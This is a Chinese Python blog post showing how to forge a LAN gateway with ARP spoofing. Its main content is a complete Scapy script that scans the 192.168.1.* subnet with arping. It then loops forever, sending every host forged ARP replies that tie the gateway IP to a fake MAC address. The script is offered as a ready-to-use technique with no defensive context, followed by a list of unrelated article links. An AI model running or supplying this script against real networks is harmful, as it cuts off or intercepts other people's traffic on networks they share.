python使用arp欺骗伪造网关的方法


Posted in Python onApril 24, 2015

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
python基于Tkinter库实现简单文本编辑器实例
May 05 Python
python爬虫_微信公众号推送信息爬取的实例
Oct 23 Python
详谈python3 numpy-loadtxt的编码问题
Apr 29 Python
浅谈python写入大量文件的问题
Nov 09 Python
对python pandas 画移动平均线的方法详解
Nov 28 Python
PyCharm+Pipenv虚拟环境开发和依赖管理的教程详解
Apr 16 Python
django 解决扩展自带User表遇到的问题
May 14 Python
Python爬取网页信息的示例
Sep 24 Python
python Matplotlib数据可视化(2):详解三大容器对象与常用设置
Sep 30 Python
4款Python 类型检查工具,你选择哪个呢?
Oct 30 Python
Python 用__new__方法实现单例的操作
Dec 11 Python
使用Python制作一个数据预处理小工具(多种操作一键完成)
Feb 07 Python
python使用wxPython打开并播放wav文件的方法
Apr 24 #Python
python使用PyGame播放Midi和Mp3文件的方法
Apr 24 #Python
python使用PyGame绘制图像并保存为图片文件的方法
Apr 24 #Python
python使用PIL缩放网络图片并保存的方法
Apr 24 #Python
python使用Tkinter显示网络图片的方法
Apr 24 #Python
Python中最常用的操作列表的几种方法归纳
Apr 24 #Python
在Python中使用lambda高效操作列表的教程
Apr 24 #Python
You might like
PHP生成迅雷、快车、旋风等软件的下载链接代码实例
2014/05/12 PHP
php微信公众号开发(3)php实现简单微信文本通讯
2016/12/15 PHP
屏蔽鼠标右键、Ctrl+n、shift+F10、F5刷新、退格键 的javascript代码
2007/04/01 Javascript
基于Jquery的将DropDownlist的选中值赋给label的实现代码
2011/05/06 Javascript
使用jquery实现放大镜效果
2014/09/02 Javascript
javascript封装简单实现方法
2015/08/11 Javascript
简单理解JavaScript中的封装与继承特性
2016/03/19 Javascript
jQuery中get方法用法分析
2016/12/07 Javascript
JS实现快速比较两个字符串中包含有相同数字的方法
2017/09/11 Javascript
Nuxt.js开启SSR渲染的教程详解
2018/11/30 Javascript
javascript绘制简单钟表效果
2020/04/07 Javascript
[52:20]DOTA2-DPC中国联赛正赛 SAG vs XGBO3 第一场 3月5日
2021/03/11 DOTA
使用graphics.py实现2048小游戏
2015/03/10 Python
使用Python编写一个简单的tic-tac-toe游戏的教程
2015/04/16 Python
Python实现简单字典树的方法
2016/04/29 Python
Python 中的Selenium异常处理实例代码
2018/05/03 Python
django 解决manage.py migrate无效的问题
2018/05/27 Python
python 2.7 检测一个网页是否能正常访问的方法
2018/12/26 Python
Python GUI编程完整示例
2019/04/04 Python
解决python文件双击运行秒退的问题
2019/06/24 Python
在PyCharm中控制台输出日志分层级分颜色显示的方法
2019/07/11 Python
python日志模块logbook使用方法
2019/09/19 Python
Python实现i人事自动打卡的示例代码
2020/01/09 Python
基于Python第三方插件实现西游记章节标注汉语拼音的方法
2020/05/22 Python
Python中BeautifulSoup通过查找Id获取元素信息
2020/12/07 Python
波兰珠宝品牌:YES
2019/08/09 全球购物
办公室文员自荐书
2014/02/03 职场文书
社区文化建设方案
2014/05/02 职场文书
2014年村官工作总结
2014/11/24 职场文书
小学运动会入场词
2015/07/18 职场文书
酒店员工管理制度
2015/08/05 职场文书
立秋之描写立秋的作文(五年级)
2019/08/08 职场文书
opencv读取视频并保存图像的方法
2021/06/04 Python
nginx location 带斜杠【 / 】与不带的区别
2022/04/13 Servers
前端与RabbitMQ实时消息推送未读消息小红点实现示例
2022/07/23 Java/Android
httpclient调用远程接口的方法
2022/08/14 Java/Android